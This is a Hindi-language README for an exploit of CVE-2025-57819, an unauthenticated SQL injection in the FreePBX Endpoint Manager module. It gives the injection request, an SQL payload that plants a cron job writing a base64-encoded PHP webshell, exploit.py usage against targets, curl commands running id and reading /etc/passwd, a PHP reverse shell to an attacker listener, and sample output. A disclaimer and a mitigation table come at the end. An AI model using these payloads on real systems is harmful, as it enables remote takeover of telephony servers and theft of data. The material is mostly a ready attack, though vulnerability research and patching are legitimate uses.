
FreePBX Endpoint Manager में अप्रमाणित SQL इंजेक्शन (CVE-2025-57819) जो दूरस्थ कोड निष्पादन के लिए एक क्रॉन-अनुसूचित PHP वेबशेल इंजेक्ट करता है।
FreePBX एंटरप्राइज़ टेलीफोनी वातावरण में व्यापक रूप से तैनात Asterisk PBX के लिए ओपन-सोर्स वेब GUI है। एंडपॉइंट प्रबंधक मॉड्यूल /admin/ajax.php पर एक AJAX हैंडलर प्रदर्शित करता है जो brand पैरामीटर स्वीकार करता है और इसे स्वच्छता के बिना सीधे SQL क्वेरी में शामिल करता है। एक अप्रमाणित दूरस्थ हमलावर मनमाना SQL इंजेक्ट कर सकता है, cron_jobs तालिका में एक पंक्ति सम्मिलित कर सकता है, और FreePBX cron डेमॉन को वेब रूट में एक निष्पादन योग्य PHP वेबशेल लिखने का कारण बना सकता है — जिसके परिणामस्वरूप लगभग एक मिनट के भीतर अप्रमाणित रिमोट कोड निष्पादन होता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2025-57819 |
| CVSS स्कोर | 9.8 (क्रिटिकल) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित तटस्थीकरण |
| घटक | FreePBX एंडपॉइंट प्रबंधक मॉड्यूल |
| प्रभावित | FreePBX 17.x (अनपैच्ड) |
| पैच किया गया | FreePBX 17.x (पैच किया गया) |
| हमला वेक्टर | नेटवर्क — कोई प्रमाणीकरण आवश्यक नहीं |
असुरक्षित अनुरोध एंडपॉइंट प्रबंधक के AJAX कमांड हैंडलर को लक्षित करता है:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <लक्ष्य>
brand पैरामीटर बिना एस्केपिंग या तैयार कथनों के SQL क्वेरी में संयोजित किया जाता है। एक हमलावर क्वेरी स्ट्रिंग को बंद करता है और दूसरा कथन संलग्न करता है:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
इंजेक्ट किया गया क्रॉन एंट्री प्रत्येक मिनट वेब-सर्वर/Asterisk प्रक्रिया स्वामी के अंतर्गत चलता है और लिखता है:
<?php system($_GET[cmd]); ?>
/var/www/html/webshell.php में, जो HTTP के माध्यम से अप्रमाणित OS कमांड निष्पादन प्रदान करता है।
एंडपॉइंट प्रबंधक AJAX हैंडलर पैरामीटरीकृत क्वेरी के बजाय स्ट्रिंग फ़ॉर्मेटिंग का उपयोग करके गतिशील रूप से SQL बनाता है। brand फ़ील्ड को SELECT कथन में एम्बेड करने से पहले कभी मान्य या एस्केप नहीं किया जाता, जिससे यह आसानी से इंजेक्ट करने योग्य हो जाता है।
हमलावर ──GET (SQL इंजेक्शन)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs तालिका
│
FreePBX cron डेमॉन (≤60s) │
▼
हमलावर ──GET ?cmd=id──────────▶ /webshell.php ◀── लिखा गया ── cron निष्पादन
pip install requests urllib3
-t, --target लक्ष्य IP पता या होस्टनाम (आवश्यक)
--timeout लक्ष्य उपलब्धता के लिए प्रतीक्षा करने के लिए सेकंड (डिफ़ॉल्ट: 30)
--delay क्रॉन जॉब निष्पादित होने के लिए प्रतीक्षा करने के लिए सेकंड (डिफ़ॉल्ट: 65)
1. लक्ष्य के विरुद्ध एक्सप्लॉइट चलाएँ:
# मूल — क्रॉन जॉब फायर होने के लिए 65 सेकंड प्रतीक्षा करें
python3 exploit.py -t <IP>
# होस्टनाम का उपयोग करें
python3 exploit.py -t connected.htb
# धीमे लक्ष्यों पर विस्तारित क्रॉन प्रतीक्षा
python3 exploit.py -t <IP> --delay 90
2. यदि वेबशेल की पुष्टि हो जाती है, तो सीधे उसके साथ इंटरैक्ट करें:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. वेबशेल के माध्यम से रिवर्स शेल में अपग्रेड करें:
अपनी मशीन पर एक लिसनर शुरू करें:
nc -lvnp <LOCAL_PORT>
फिर cmd पैरामीटर के माध्यम से एक PHP रिवर्स शेल ट्रिगर करें (URL-एन्कोडेड):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
cmd के रूप में भेजा गया URL-डिकोडेड पेलोड है:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX एंडपॉइंट मॉड्यूल · SQL इंजेक्शन → क्रॉन वेबशेल ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
घटक : FreePBX एंडपॉइंट मॉड्यूल
प्रभावित : अनपैच्ड 17.x → पैच किया गया: patched 17.x
CVSS स्कोर : 9.8 (क्रिटिकल)
CVSS वेक्टर : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL इंजेक्शन
प्रकार : अप्रमाणित SQL इंजेक्शन → क्रॉन-अनुसूचित PHP वेबशेल
संदर्भ : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] लक्ष्य <IP> की जाँच की जा रही है (अधिकतम 30s) ...
14:03:12 [+] लक्ष्य जीवित है — HTTP 200
14:03:12 [*] इंजेक्ट एंडपॉइंट : http://<IP>/admin/ajax.php
14:03:12 [!] SQL इंजेक्शन के माध्यम से क्रॉन जॉब इंजेक्ट की जा रही है ...
14:03:12 [+] इंजेक्शन अनुरोध भेजा गया
14:03:12 [*] क्रॉन जॉब फायर होने के लिए 65s प्रतीक्षा की जा रही है ...
14:04:17 [*] http://<IP>/webshell.php?cmd=id पर वेबशेल की जाँच की जा रही है ...
14:04:17 [+] वेबशेल सक्रिय है — कमांड आउटपुट:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] वेबशेल URL: http://<IP>/webshell.php?cmd=<कमांड>
14:04:17 [+] एक्सप्लॉइट रूटीन पूर्ण।
समय नोट. 65 सेकंड का डिफ़ॉल्ट
--delayसुनिश्चित करता है कि क्रॉन डेमॉन (जो हर मिनट की शुरुआत में फायर करता है) के पास इंजेक्टेड जॉब को चलाने का कम से कम एक अवसर रहा हो। धीमे लक्ष्यों पर,--delay 90या--delay 120तक बढ़ाएँ।
यह एक्सप्लॉइट केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। केवल उन प्रणालियों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध और अनैतिक है।
| प्राथमिकता | कार्रवाई |
|---|
| क्रिटिकल | CVE-2025-57819 के लिए FreePBX विक्रेता पैच तुरंत लागू करें |
| क्रिटिकल | किसी भी मौजूदा /var/www/html/webshell.php कलाकृतियों को हटाएँ |
| उच्च | /admin/ajax.php तक पहुँच को प्रमाणित, विश्वसनीय नेटवर्क स्रोतों तक सीमित करें |
| उच्च | एंडपॉइंट प्रबंधक में सभी SQL क्वेरी का ऑडिट और स्वच्छता करें — तैयार कथनों का उपयोग करें |
| मध्यम | cron_jobs तालिका को प्रतिबंधित करें: कौन सी भूमिकाएँ INSERT कर सकती हैं, सीमित करें |
| मध्यम | AJAX एंडपॉइंट पर स्टैक्ड-क्वेरी पैटर्न को अवरुद्ध करने वाला WAF नियम लागू करें |
| निम्न | FreePBX/Asterisk प्रक्रिया को न्यूनतम विशेषाधिकार खाते के अंतर्गत चलाएँ जिसके पास वेब रूट में लिखने की पहुँच न हो |